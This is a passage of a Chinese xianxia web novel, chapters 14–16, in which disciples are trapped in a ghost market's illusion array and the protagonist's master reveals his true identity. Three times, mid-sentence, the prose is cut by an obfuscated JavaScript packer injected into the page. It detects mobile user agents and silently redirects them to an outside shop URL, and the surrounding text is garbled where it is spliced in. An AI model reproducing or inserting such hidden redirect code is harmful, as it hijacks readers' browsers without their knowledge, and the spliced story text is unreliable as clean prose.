“是吗?”辛楚轻蔑地笑了一下,打了一个响指。 下一秒,众人就见鬼媒人突然变了脸色,大叫起来:“啊啊啊啊啊好痛好痛!!快停下快停下!!” 若不是还被绑在供台上,它现在就已经痛的满地打滚了。 辛楚再次打了一个响指,鬼媒人才停止抽搐。她说:“我的蛊虫作用在元神上,而不是身体。” “嘶!”沈无一三人顿时肃然起敬,对敬真长老的敬畏又多了一分。 原来这就是虫蛊之术,可怕,但也神奇。 辛楚一挥手,绑着鬼媒人的绳子应声而断:“现在可以带路了。” 鬼媒人软趴趴地掉在地上,她恶狠狠地瞪着辛楚,恨不得冲上去咬她一口:“我一定要杀了你!!” 辛楚还没说话,沈无一便狗腿地往前一杵,凶神恶煞地看着她,全然看不出方才的惊慌失措,一派狐假虎威的样式:“还敢挑衅?我看你是还没疼够啊!” 鬼媒人下意识瑟缩了一下,恨恨地闭上了嘴,爬起来不说话了。 连城问他:“又不怕了?” 沈无一尽量不去回想蛊虫的样貌:“看不见就不怕。” 连城似乎很轻地笑了一下:“嗯。” 鬼媒人将五人带到了玉倾楼。这个地方确实无愧于它的名字,极尽繁华、极尽奢靡。 门口的女侍者看见鬼媒人 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14006056|148535||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 便恭敬地低下了头:“符洛大人,您回来了。” 鬼媒人阴沉着脸摆了一下手,继续往里走。 沈无一他们跟在鬼媒人身后顺畅地进入了玉倾楼内部,如她所说,这座华贵非常的楼里布置了一个强大的阵法,一旦硬闯就会触发。 一阵喧闹的声音响起,楼里是比楼外更加纸醉金迷的世界,彩绸悬挂、红袖招摇,穿着飘逸长裙的舞女拽着绸带荡在空中起舞,长长的披帛也随之飘动。二楼是贵客待的雅间,不时有代表赞赏的花束从上面抛下,传来一阵阵喝彩,其余的舞女们踩着花瓣起舞,洁白的双足在裙摆中若隐若现。 沈无一的视线在宽阔的室内扫了一圈,感叹道:“真是奢靡啊。” 不过这里虽然热闹非凡,但既然是“鬼市”,那么危险一定藏在暗处。 鬼媒人的心情十分阴晴不定,方才还阴沉沉的,这会儿又高兴起来,它从地上捡起一束花抛向天空,跟着人群一起欢呼:“哟呼!” 穆仪枫忍不住嘀咕:“这鬼媒人真是个小神经病。” 陆朝阳深以为然地点了点头:“确实。” 辛楚眯了一下眼睛,看向手舞足蹈、舞姿滑稽的鬼媒人:“现在可以带我们去监牢了吗?” 鬼媒人目光还流连在舞台上,撇了撇嘴说:“走吧。” 他们径直上了三楼,三楼十分空旷,除了飘飞的纱幔之外空无一物。尽头是一扇门,鬼媒人指着那扇门说:“那些修士们就在这里。” 沈无一抱着剑,环视一圈,转过头眯着眼睛看向它:“你耍我们呢吧?关押修士的地方会无人把守?” 陆朝阳也刷地拔出佩剑指着它:“你最好不要耍花样!” 辛楚、连城和穆仪枫都看向鬼媒人,目光暗含压迫。 “我哪里敢呀?”鬼媒人又摆出那幅可怜兮兮的样子,它按住胸口哽咽道:“我身上不还有那个该死的蛊虫吗?我可不敢骗你们。” 沈无一还记着它强迫自己拜堂的仇,一脚踢在它屁股上:“既然这样,那你先进去。” 鬼媒人被踢得一个踉跄,含恨瞪了沈无一一眼,心里的暗杀名单又多了一个。 这人长得斯文雅致面若观音,怎么纯纯流氓做派?活该情劫难渡! “好吧。”鬼媒人不情不愿地走在前面,吱呀一声打开了门。 门内一片昏暗,只有墙边的烛火映照出一小片天地,依稀可以看见里面有着一排排铁笼子,笼子里关着一动不动的人。 辛楚眸光一凝,喊道:“银翘,奉涟!” 鬼媒人骨碌骨碌转着眼珠,趁众人的注意力都被门内景象吸引过去的时候,它猛然闪身后退。 沈无一余光瞥见异动,当即催剑刺去,但鬼媒人灵活地闪开,一掌拍在了墙上! “轰隆轰隆——” 地面突然震动起来,暗处齿轮咔嚓咔嚓飞快地转动起来,一排铁刺突然从地底探出,众人迅速后退一步才没有被当场串在一起,但这排铁刺却直直刺入天花板,拦住了他们的去路。 陆朝阳怒道:“果然有诈!” 辛楚眼神一冷,当即催动噬心蛊,鬼媒人尖叫一声捂住心口,它脸上露出狠绝的表情,忽然从袖口中掏出一个全新的纸人,然后忍着元神撕裂的痛楚强行转移到了另一个纸人身上,甫一转移,它就拔出匕首挑出蛊虫,狠狠刺了下去! 辛楚的蛊虫虽作用于元神,但终归也依附于身体存在。这番金蝉脱壳让鬼媒人失了大半内力,但也成功脱离了蛊虫的掌控。 她恨恨地将蛊虫碾碎,露出一个虚弱但得意的笑容:“就让这里好好招待你们吧!” 沈无一大喝:“我们快出去!” 连城拔出双剑猛地劈在铁刺上,铁刺像豆腐一样被他削成两半,但与此同此,他们脚下的地面忽地发出震响,倏地往后移动,大门应声而关,将他们全部关进了门内。 14. 第十四章 谁也没想到这个小神经病居然还留有后手,还这么舍得对自己下狠手,之前那副可怜兮兮的样子全是装的! 众人在心里唾骂一声,转瞬就失去了意识。 …… 沈无一睁开眼睛,发现自己躺在黑漆漆的室内,周围没有一个人。他试探地抬高声音喊:“陆朝阳!敬真长老!连道友!大壮?” 黑洞洞的室内没有一个人应答,只有空旷的回音。沈无一暗骂一声,醒来发现就剩自己一个人绝对不是什么好事。 他捡起佩剑,眼睛适应了昏暗的光线,终于看清了周围的环境。 他现在待在一个空荡荡的屋子里,墙上画着一些奇怪的符文,一直往外延伸,沈无一仔细看了下,没看出是什么来就放弃了,现在当务之急是要赶紧找到其余的四个人,不然很容易被逐个击破。 他往前走去,这里的路交错复杂,简直像个巨型的迷宫,稍有不慎就容易迷失在其中。目前还不知道这个地方有何玄机,鬼媒人也许久藏在暗处,一切还是小心为上。 沈无一记了一下路,在第三个岔路口的地方看到了一把熟悉的佩剑。 是陆朝阳的“闻音”! 陆朝阳的剑在这里,那他的人是不是也在附近? 沈无一精神一震,赶忙上前捡起闻音,疾走几步,果然在不远处看到了昏迷不醒的陆朝阳。 他赶紧去检查陆朝阳的状态,发现他身上并无伤痕才放心下来,动手将他拍醒。 陆朝阳醒来看到他,茫然地坐起身:“师兄?” “你是刚醒吗?”沈无一问:“有没有看到其他人?” 陆朝阳揉了一下太阳穴,说:“我从前面那个路口跑过来的,分开前我跟穆道友在一块儿。” 沈无一说:“那你们是怎么分开的?” “有东西在追我们。”陆朝阳撑着额头:“为了分散怪物的注意力,我们就分开跑了,但是约定好在起点会合。但是我还没跑多远就被怪物袭击,晕倒了。” “有东西追你们?”沈无一表情变得凝重,立马问:“那怪物什么样?” 陆朝阳回忆了一下:“路上太暗了,我们又跑的急,所以没看清,只记得速度很快。” 沈无一沉思片刻,说:“那你还记得回去的路吗?” “记得。”陆朝阳站起来,接过沈无一手中的闻音,有点着急地说:“穆道友说不定已经到了,我们赶紧过去看看吧。” 沈无一点头,说:“好。” 陆朝阳率先提剑朝前走去,沈无一跟在他的后面,默默数自己转了几个弯,左转一次,直行,右转两次,左转一次…… “师兄!就是这里了!”陆朝阳指着前方说:“穆道友果然等在这里了!” 前方的走廊上,果然站着一个熟悉的身影,朝着他们挥手:“陆朝阳!沈无一!” 好,沈无一这下是真的确认了。 陆朝阳拉住他,还在催促:“师兄,你怎么站着不动?走吧!” “走哪去?”沈无一突然一脚踢在他屁股上,在陆朝阳愕然的目光中,锻心悍然出鞘,一剑捅穿了他的心脏! 紧接着剑光一转,将穆仪枫的身影切的四分五裂。 被他刺穿的两人皆露出怨毒的表情,缓缓消散在了空中。 一开始沈无一只是有点怀疑,毕竟陆朝阳虽然一直都跟着他喊穆仪枫“大壮哥”,但换个称呼也不是不可以,直到看到一贯路痴的陆朝阳毫不犹豫地拐弯往前走,他才开始感到不对劲,而且此地弯绕,一不留神就找不到原来的路,陆朝阳和穆仪枫怎么可能会分开跑。最后穆仪枫露面,他心中的怀疑彻底落实。一看就是有阴谋,傻子才过去。 锻心重新回到沈无一手中,剑身散发着幽蓝的冷光,照亮了前方的路,方才还正常的路从中间断开,往下是一片无尽深渊。他只要再往前多走两步就会直接掉下去。 沈无一“啧”了一声,谨慎地后退。 看鬼媒人最后那个得意的表情,这个地方绝对不止这一个麻烦。本来还以为找到一个队友了呢,结果白高兴一场。也不知道其他人现在遇到什么了。 沈无一按照来时的路往回走,在前方拐角处的地方看到了两个鬼鬼祟祟的人,看起来像是陆朝阳和穆仪枫。为了防止再次碰到刚才的情况,他没有出声叫住他们,而是迅速地跟了上去。 走过拐角的时候,一道剑光倏然朝他袭来,沈无一提剑抵挡,下一秒就看见穆仪枫表情凶狠地挥着笛子朝他袭来,他瞬步后退,大声说:“大壮你屁股后面有颗痣,陆朝阳你长了一颗蛀牙。好了到你们了!” “!”这种事能随便拿出来说?穆仪枫面色扭曲,但还是快速答道:“小二你右肩上有块红色的胎记!” 陆朝阳神色慌张:“师兄去年是你浇死师父的那盆兰草的!” 沈无一收起剑,看向陆朝阳,露出一个和善的微笑:“你怎么知道?” 陆朝阳挠了挠脸:“我不小心看到你毁尸灭迹的整个过程。”他连忙举手表忠诚:“放心我绝对不会告诉师父的!” “暂时不会。”他想了想,又腼腆地补充道。 “……”沈无一磨了磨牙,但好歹这回是碰上真队友了,还是值得庆贺的。 三个人都有点脱力地靠墙休息了一会儿,沈无一说:“看来你们也碰到了装成其他人的怪物?” “是啊。”穆仪枫将他的经历复述了一遍:“差一点就跟着那个假的敬真长老跑了,还好碰到了小师弟。” 几人又是一阵唏嘘,沈无一说:“看来你们醒的比我早,那你们还碰上其他麻烦了没有?” 陆朝阳摇了摇头:“暂时还没有。” “此地应该是有个阵法,将我们困在其中了。”穆仪枫说:“只要找到阵眼,应该就可以找到出去的路。” 沈无一点了点头,正要说话,眸光里忽然出现了一个人影。那人站在不远处望着他,身形如同泼洒的月光,冷冷地照在他的眼睛里。 “师父……?”沈无一心口一跳,诧异地喊了出来。 同尘怎么到这里来了? 同尘缓缓开口,对他说:“无一,过来。” 沈无一一时有些发蒙,茫然地站起身,朝前走了两步,但很他快反应过来,同尘现在根本不可能出现在这里! 他顿时停住脚步,神经疯狂跳动,想问问陆朝阳是否也看见了同尘,但一回头,却发现身后的路被一堵墙封闭,所有人都不见了。 沈无一意识到什么,目光一瞬间冷下去,被窥探冒犯的恼怒和杀意染上他的瞳 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 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他最害怕看见同尘对他露出这样的表情,那目光如同利刃将他剥皮抽筋,即便被污蔑被羞辱,也没有比这一刻更让他绝望,好像自己真的被定罪了。 他动了动嘴唇,嗫嚅道:“师父,你听我……” “无一,你因何入魔?”同尘打断他。 沈无一望着那张出尘淡漠的脸,嘴唇颤动,却说不出来一个字。 半晌,同尘轻叹一声,他垂眸望着沈无一,目光中似有悲悯,一字一句道:“痴心妄想,大逆不道。” 仿佛五雷轰顶,沈无一霎时面色惨白,仿佛心脏被硬生生从胸腔扯出,暴晒在烈日下。他神色惶惶,最后只从干哑的喉咙中挤出几个字:“师父,我……” “我曾经说过,若有一天你犯下弥天大错,我会亲自杀了你。” 同尘说着,缓缓拔出太古,神剑出鞘便发出嗜血的嗡鸣,一时间,天地色变,雷云翻滚。 沈无一倏然睁大眼睛,连呼吸好像都感知不到了,眼泪无知无觉地滚落,他喃喃道:“师父,不要,求你……” 太古毫不留情地穿透了他的胸口。 那一刹那,剑光如雷闪,万物寂灭无声。剧痛铺天盖地地袭来,沈无一猛地吐出一口鲜血,所有的声音和画面都在这惊天动地的一剑中隐没。 …… 15. 第十五章 “师兄?师兄!” 陆朝阳惊慌地举剑抵挡沈无一的攻击,抻着脖子大喊:“你醒醒啊!我是陆朝阳!” 方才他们话说的好好的,沈无一却突然站起身,无视他们的询问径直往前走。 陆朝阳和穆仪枫察觉他的状态不对劲,连忙抓住他,他却二话不说,拔剑就朝他们砍来。 锻心剑光如电,几个瞬息之间他们已经过了好几招。沈无一状态不对,出剑却狠辣果断,一招一式都是杀招,陆朝阳和穆仪枫害怕伤到他,行动之间多有掣肘,两个人一起都有点招架不住。 穆仪枫大骂一声:“我就知道这个鬼地方还有其他陷阱在等我们!” “师兄啊!”陆朝阳哭丧着脸:“你快醒醒吧,我快扛不住了啊!”本来他平时就根本打不过沈无一,在沈无一发疯的状态下就更难以坚持了。 这时,他们身后突然传来一声尖细的笑。 陆朝阳猛然回头,果然看到鬼媒人坐在矮墙之上,悠闲地晃着脚丫,撑着下巴啧啧称奇:“哎呀呀,真有意思,他心中的魔障竟然如此之深,没想到。” 陆朝阳一个恍神又差点被锻心砍中,他杀伤力很低地指责:“背后偷袭非君子所为!” 鬼媒人看傻子似的看了他一眼,完全不以为耻:“我本来就不是君子,我是小人。” “少跟她废话,先打一顿!”穆仪枫一边吹笛抵抗沈无一,一边从袖中抛出五枚月牙刺,直直向鬼媒人甩去。陆朝阳便也欺身而上,挥剑朝鬼媒人砍去。 鬼媒人虽是纸人身体,却异常灵活。它躲开月牙刺,睨了他们一眼,墨点的眼珠黑洞洞的,十分渗人,它拖长声音说:“你们还是先关注一下这位小仙人的状况吧?” 穆仪枫心中腾地升起不好的预感:“你什么意思?” 鬼媒人咧开嘴,露出一个恶意满满的笑:“当然是字面意思咯。” 就在这时,一阵“喀嚓”的碎裂声响起,陆朝阳和穆仪枫猛地看过去,发现沈无一手腕上的镯子居然碎了! 玉镯摔落在地,碎成了八瓣。 陆朝阳知道这个镯子的作用,用来进化魔气、压制沈无一经脉的。现在却碎了,这以为着什么…… 他慌起来,感觉很不妙。 镯子碎裂的那一刻,沈无一也停止了动作。他顿在原地,紧着这手一颤,锻心“哐当”一声落在了地上。 他在陆朝阳和穆仪枫紧张的眼神中一把捂住胸口,表情痛苦狰狞,“噗”地一声吐出一口鲜血。 “好痛……”陆朝阳听见他从嗓子眼艰难地挤出这两个字。 “师兄!”陆朝阳赶紧上前一步扶住站不稳的沈无一。但忽然间,一股狂乱燥郁的气息猛地从沈无一身上迸发出来!陆朝阳和穆仪枫被重重摔飞出去,一时间五脏六腑都差点移了位。 穆仪枫摔趴在地上,发出一声半身不遂的呻吟:“天杀的沈无一……” 他逍遥一世,没想到在沈无一这里遭了报应,没被妖魔鬼怪弄死,结果要被沈无一弄死了。 沈无一拽着胸口的衣服,呼吸急促,表情似是痛极。殷红的血迹顺着他的嘴角流下,啪嗒啪嗒落在地上。 鬼媒人掏出来一把铁弓,蓄足了力拉开,箭矢对准了沈无一,脸上挂着愉悦的笑容。 “你敢!”陆朝阳看到这一幕慌忙想要起身,但身体却仿佛被重物压住,根本动弹不得,他六神无主,忍不住大声嚷起来:“丑八怪!你敢动我师兄,我师父肯定不会放过你的!你知道我师父是谁吗?!” 鬼媒人不为所动:“是大罗神仙也没用。” 穆仪枫双手撑在地面,用力的额角都鼓出青筋,他咬牙道:“该死,是傀儡术!” 傀儡术——只要将他人的发丝放入特别炼制的鬼控娃娃口中,就可以对其进行暂时控制,是一项非常邪门的术法。 最重要的是,他不知道怎么解。陆朝阳这个二货更不可能会解了。 “看来你们还不算太无知,打不过那个老太婆,我还对付不了你们两个小鬼吗?不要着急,会轮到你们的。”鬼媒人眯起一只眼睛,箭尖一会儿瞄准沈无一的额头,一会儿瞄准沈无一的心脏,眉飞色舞地说:“是射脑袋好呢还是射心脏好呢?不然还是先射断他的腿吧?是不是这条腿踢的我?” “算了,还是一击毙命比较稳妥!”它说完,便猛地松开手,箭矢“嗖”地一声,携着残影破空而去! “师兄!”“小二!” 陆朝阳心神俱颤,眼睁睁看着那支箭毫无阻碍朝沈无一飞去,心脏都停跳了片刻。 但箭尖即将触碰到沈无一的时候却硬生生地停住了。 周围的空气凝固了一瞬,紧接着,一朵金色的海棠花在沈无一的额头显现出来,气息威严明净。 陆朝阳瞪大了眼睛。 箭矢顷刻粉碎,一道耀目的光芒倏地从他周身显现,牢牢地护住沈无一全身。金色的海棠花瓣在他身后成形,疾风厉雨一般朝鬼媒人击去! 鬼媒人神色大变,赶紧掏出金刚罩护体,花瓣如同利刃切来,强大的力量直接将金刚罩击得粉碎,在地面留下深深的痕迹。鬼媒人被击中肩膀,差点又废掉一具身体。 这道气息实在太过强势专横,极具辨识度,以至于鬼媒人一眼就认出属于谁。 同尘! 同尘居然在沈无一的身上留下了自己的“魂印”! 鬼媒人神色变幻莫测,最后露出一个诡秘的笑:“看来那位高高在上的帝君,也未必如同外界所知那般冷心冷情啊。” 海棠花的光芒隐去,沈无一彻底失去了意识,扑通一声栽倒在地。 傀儡术松动,陆朝阳赶紧连滚带爬地站起来护住了沈无一,伸手在沈无一的脖子上摸了一下,稍微松了口气,还好还好,没死没死。 但沈无一现在的情况也绝对不容乐观,他浑身滚烫,口中吐着模糊的呓语,眼中、耳中都在渗血。 陆朝阳背起沈无一就往外冲,没时间等敬真长老和连城了,现在要赶紧回到栖鹤峰给师兄治疗。 穆仪枫赶紧跟上去:“你等等我啊!” “今天谁也不准走!”鬼媒人挣扎着从地上爬起来,阴恻恻地望着他们,忽地抽出三支羽剑对空发射,羽剑如流星散在三处,一道强大的阵法显形,将三人笼罩在其中,一时间,无数魔物从墙壁中、地下中涌了出来,嘶吼着朝他们袭去! 穆仪枫和陆朝阳紧急刹住步子,背靠背呈防御状。 这鬼市果然跟魔族有联系! “没办法了,先撑住这一波吧。”穆仪枫抹了把额头上的汗,喘着气说:“敬真长老有我们的定位,肯定在赶来的路上,咱们只要撑到他们来就行。” 陆朝阳点点头,闻音出窍,在半空划过一个锐利的弧线,将最前面的魔物拦腰斩断。穆仪枫奏响缥缈,强劲的罡风向四面横扫而去,触及的魔物都当场爆开,二人互为攻防,应对汹涌的魔潮。 但这些魔物虽然低阶,却由阵中魔气所化,简直是源源不断,不一会儿,陆朝阳额头上的汗珠就往下滚落,他咬牙继续挥动闻音,但速度无法控制地慢了下来,穆仪枫吹的曲子已经完全不成调子了。 二人口中皆淌出鲜血,有些坚持不住了。 “小子,你是想用这难听的声音扎穿敌人的耳朵取胜吗?” 白色的长鞭以横扫千军之势挥来,将魔物打的粉碎! 来了! 陆朝阳和穆仪枫惊喜地看过去。 两把锋利的剑旋转飞来,一左一右削断了扎入地面的箭矢,最后一支被连城一掌拍碎,不断涌出的魔物霎时溃散,消散在了空中。 鬼媒人见势不妙想跑,连城瞥过去,朝它甩来双剑,两把剑交错而行,鬼媒人发出一声短促的尖叫,被两把剑牢牢地扣在了地上。 “路上碰见了难缠的东西,耽误了一点时间。”辛楚说。 陆朝阳和穆仪枫顿时像小鸡仔一样叽叽喳喳地围住辛楚,让他们去看看沈无一。 辛楚身边跟着两个女修,正是被关在这里的连翘和奉涟,二人气色很差,但都并无性命之忧,勉强能够站立。 名叫奉涟的女修上前探了一下沈无一的脉搏,抬头严肃道:“气息紊乱,真气逆行,他的情况确实不太乐观。” 辛楚皱了皱眉头,却看向连城。 连城朝沈无一走过来。他的面色不知为何有些苍白,身上有种又沉又冷的气息,仿佛穿过了万载寒夜而来,时间和空间都在他身上寂灭。 陆朝阳感觉他像是突然变了一个人,有点不敢直视,穆仪枫没那么敏感, “无事。”连城说。 他蹲下身,伸出的手在沈无一脸颊上悬停片刻,最终还是落了下去,轻轻擦掉了他嘴角的血迹,目光复杂。 出发前,他心中有所预感,于是算了一卦,卦象显示他会在此行中勘破一道天机,但勘破后会导向什么因果,却是不定。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14006058|148535||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 于是他分出一片元神跟随沈无一他们下山,果然在幻境中想起了一切,或者不如说,这就是他给自己设下的“钥匙”。 连城站起身,说:“将他送回栖鹤峰。” “是。”辛楚应了一声,态度恭敬。 陆朝阳和穆仪枫大脑太过混乱,一时没能注意二人对话,银翘和奉涟对视了一眼,都将惊愕压在了心里。辛楚将沈无一抱起来,回头看了一眼连城,说:“我们先离开。” 她知道帝君大概是遇到了什么,但却不知道是什么事能够对帝君产生如此大的影响。虽然好奇,但她不会逾距去问帝君的私事,帝君看起来仍旧冷静持重,想来自有把握。不过这片鬼市十有八九是要毁于一旦了。 陆朝阳往前走了两步,忽然说:“等我一下。” 他几步跑到鬼媒人身边,在鬼媒人警惕又迷茫的视线里弯下腰,拎住鬼媒人的脚,在空中抖了抖。鬼控娃娃和一些鸡零狗碎的东西掉了一地。 鬼媒人:“……” 搜刮出来的东西不动,他把鬼媒人丢回去,捡起傀儡娃娃,有点失望地说:“此邪物必不能留在奸人手中!我就先缴走了。” 鬼媒人隐忍咬牙。 强盗行径!强盗行径! “真有你的啊!”穆仪枫扼腕长叹,看着鬼媒人的眼神像在看一只待宰的羔羊,可惜它身上确实没什么东西了。 鬼媒人恶寒,庆幸还好没把所有身家都带出来。 “好了,我们快出去吧。”辛楚破开阵法带着沈无一离开阵中,银翘奉涟紧跟其后,陆朝阳和穆仪枫也赶紧跟了上去。 穆仪枫不太放心地看着连城说:“让连兄一个人留下?没事吗?” 辛楚还是一样的回答:“不会有事。” …… 辛楚带着弟子们离开后,连城身上的气息陡然发生了变化,一股无形的威压扩散开来,像一座巨山压在鬼媒人身上。她惊恐地看着对方,话都说不完整:“你!怎么是你……” 同尘已经完全不再收敛自己的气息,鬼媒人自然认出了他的身份,但是,怎么会是同尘?! 同尘问:“鬼主在哪里?” 鬼媒人大脑混乱,一向能言善道的嘴像是被缝住了一样,真正站在帝君面前的时候,它才知道化神期的威压有多恐怖。 它低着头,抖着嗓子说:“我、我不知道……” 同尘一瞥了它一眼,目光漠然,一句话都懒得多说,抬手唤道:“天照。” 鬼媒人猛地抬起头。 常年雾蒙蒙的鬼市刹那间突然日光炽盛,一轮太阳悬于半空。至阳至烈的气息对于妖物、邪魔来说仿佛无间地狱,稍微弱一点的妖邪都在接触到这道光线的一瞬间惨叫着化为尘埃。宾客和舞娘们都惊慌失措地往外跑,鬼市之中乱成一团。 鬼媒人战战兢兢地匍匐在地面,忍受着浑身炙烤般的疼痛,整个大脑都被恐惧覆盖,它连忙往前爬了两步,语无伦次地说:“我说我说,鬼主……鬼主离开鬼市了,但我真的不知道他在哪里!” 同尘垂眼凝视着它,目光重如千斤,鬼媒人在他的视线下抖如筛糠,被威压压得近乎昏厥,终于听见他说:“既然不敢出现,那就夹起尾巴藏好。否则下次见到他,我会亲自杀了他。” 鬼媒人大气都不敢出。 同尘消失在原地。随着他离开,强大到极致的威压终于消失。 鬼媒人知道若非急着去看沈无一的状况,同尘不会走的这么快。它松了口气,刚准备从地上爬起来,身侧的两把剑就猛一震动,顷刻间将它绞成了碎片,玉倾楼轰然一声彻底坍塌,整个鬼市被夷为平地。 传言中同尘的形象一直是不记仇,那是因为他从来不留隔夜仇。 不知过了多久,一团黑色的雾气在废墟中成形,一个男人的轮廓出现,带着漆黑的兜帽。他伸出手,鬼媒人的灵魂奄奄一息地躺在他掌心。 男人掏出一个纸娃娃,那道灵魂便钻了进去。 鬼媒人努力直起身子,喊道:“鬼主……” “不用自责,符洛,你已经做的很不错了。”似乎知道他要说什么,鬼主说:“毕竟是帝君亲自出手,只塌一个玉倾楼已经是不幸中的万幸了。” 鬼媒人有气无力地点点头。 “……但他本不应该出现在这里才是。” 鬼主眯了眯眼,看向天空的炽日和倒塌的玉倾楼,自言自语道:“是哪里出了变数?” 16. 第十六章 整个栖鹤峰上下陷入了一片兵荒马乱。温成儒接过烧的一塌糊涂的沈无一,几人赶紧将他带去了后山净魂池。 但沈无一反抗的太过厉害,师兄弟几个都按不住他,后山的树都被他震的东倒西歪一片狼藉。 同尘见他们手足无措地站在那里,皱眉问道:“怎么了?” 温成儒看看沈无一,为难地说:“师父,师弟他意识还是不太清醒,不愿意进净魂池,我们害怕伤到他,所以……” 同尘沉默了片刻,走上前轻而易举地按住挣扎不休的沈无一,说:“我来吧。” 温成儒和陆朝阳便让开一步,同尘带着沈无一一同迈进了净魂池,水面晃荡了一下,池水没过了二人腰际,黑白两色的发丝在水中交织。 同尘进入池中也神色未变,他一手制住沈无一,一手为他输送内力。沈无一感受到熟悉的气息,奇迹般地安静了一会儿,但抵不住痛意袭来,他再次开始挣扎,身体却像是被铸铁禁锢,根本挣脱不开。 沈无一眼底翻起血色,狠狠一口咬在同尘的手腕上。 整个净魂池陷入一片死寂,落针可闻。 陆朝阳:“……” 温成儒:“……” 二人默契地眼观鼻鼻观心,在心里为一无所知的沈无一点蜡。 手腕被咬出一个带血的印子,同尘眉头都没动一下,只是按住沈无一的下颌,平淡又威严地开口:“松口。怎么像小狗一样。” 沈无一被迫张开嘴,恶狠狠瞪着他,嘴里翻来覆去地叨咕着一些含糊的音节,想想也知道不是什么好话。这样子倒真像一只张牙舞爪的小狗。 净魂的疼痛让他死去活来活来死去,睫毛都是潮湿的,痛的受不了了,他没法咬同尘,就去咬舌头。 同尘察觉倒他的动作,迅速用拇指卡住他的牙齿,以防他咬伤自己。他看着沈无一痛的发白的脸,轻轻在沈无一背上拍了拍,缓下声音道:“再忍一忍,很快就好了。” 沈无一呜咽一声,挣扎的动作终于小了下来。 陆朝阳不知道为什么忽然不自在起来,很有点待不下去。他多动症似的挠挠眉心,又挠挠胳膊,觉得自己是有点疯了,不然为什么好端端的,他会觉得师父和二师兄待在一起的感觉有些、有些奇怪? 陆朝阳涉世未深,还找不到一个更准确的形容词。 他扭头去看大师兄的表情,温成儒倒是依旧眉目温雅,丝毫没有变化。他于是更觉得是自己想多了。 沈无一这次足足泡了一个半时辰才被同尘捞起来,他乌发皆湿,眼角绯红,衣领被他自己挣的有些凌乱。反观同尘,只是湿了衣袍,其他仍是一派冷静端庄。 同尘离开净魂池,衣物重新变得干燥,他对两个弟子说:“你们先回去吧。” 陆朝阳和温成儒恭恭敬敬地行了一礼,便先行离开了。 同尘将沈无一送回了他自己的院子,将他放在了床上。 沈无一的高热已褪,合上双眼睡了过去。 同尘坐在他床边,替他理了一下凌乱的衣领,垂眸久久看着他。 沈无一是他最费心的徒弟,根骨绝佳、性格跳脱,虽然心眼不少还极爱惹祸,但本质良善。即便他的血脉问题无法解决,同尘也做好会一直将他护在羽翼之下管束的准备,直到自己羽化,或是身死道消……他从未想过有天,沈无一会在他的面前生生被天雷劈成灰烬。 这世上鲜少有他不能掌控之事,这个徒弟便占了其一。 后来他知道了沈无一所经历的事情,愤怒悲恸之余,头一回感到命运的荒谬无端。 但同尘从不信命。 命运若不顺他心,他也要亲手撕碎。 沈无一仍在安睡,或许因为泡过净魂池,他神色平静了许多,眉头却仍然皱着,眼角露出不安的哀意。 同尘伸手按在沈无一的眉心,缓缓抚平他的眉头,宽大的袖摆垂落。 他静静坐着,想到这段日子以来沈无一的种种异常,那些疏离、畏怯都有了答案。 无一对自己,或许是有怨的吧。 …… 沈无一盘腿坐在自己的识海之中,闭着双眼盘腿运功,心魔被他重新压制在了其中,仍在在他耳边不断蛊惑、低语。 “别再装了,沈无一,你不是早就因为求而不得发疯了吗?” “你恨掌门,要不是他,你不会落得那么狼狈;你嫉妒陆朝阳,总觉得同尘偏心他;你嫉妒云旎,因为她可以光明正大的展露自己的爱意,在世人眼中和同尘天造地设;你也恨同尘,恨他轻而易举地丢弃你,就像你的母亲一样。” “……当然了,你最恨的是你自己,若非你行差踏错、走火入魔,事情怎么会变得一发不可收拾?全都怪你痴心妄想,你居然爱上自己的师父,沈无一,你确实像他们说的那样恬不知耻。” “所以,他怎么会要你呢?” 沈无一眼睫一颤,面色冰冷地睁开双眼,眼底一片霜色,他沉声道:“闭嘴。” 识海中一阵震颤,数道冰刃倏然劈砍过去,那聒噪的声音终于消失不见。 沈无一深吸一口气,将心中翻腾的杂念压下去。 识海之中尽是断壁残垣,唯有一株海棠树如旧。他坐在树下,低垂着眼眸,看着虚虚插在胸口的太古剑,眼中情绪模糊不清。 他总是告诉自己,既然一切已经重新开始,就不要去想过去的事情,因为太沉浸在过去容易失去方向,也是因为逃避——有些记忆实在太痛苦了,他宁愿忘掉,这样就可以当做从未发生过。 但好像越是逃避,就越是容易被回忆找上。 以前他仗着自己根骨好天资高,行事一向肆意高调,直到后来心魔丛生,他的骄傲才被折断了些,因为知道自己已经道心不稳,从此在剑道上再难进益。 但他前前后后得罪的人还是不少,因此倒台来的又迅猛又猝不及防。 那段时间的事对他来说十分混乱,很多事情他都已经记不太清了,只记得同尘外出封印饕餮,自己在春猎中同一些人发生了摩擦。 春猎是悬眼山一贯以来的传统,每到暖春时节,妖兽最活跃的时候,就会有不同的人带队去各个地方进行春猎,算是测试,结束后还会打分,但对很多人来说也是不可多得的获取宝物和机缘的机会,因此,对实力平平的弟子们啦说,选一个好队来说是至关重要的。 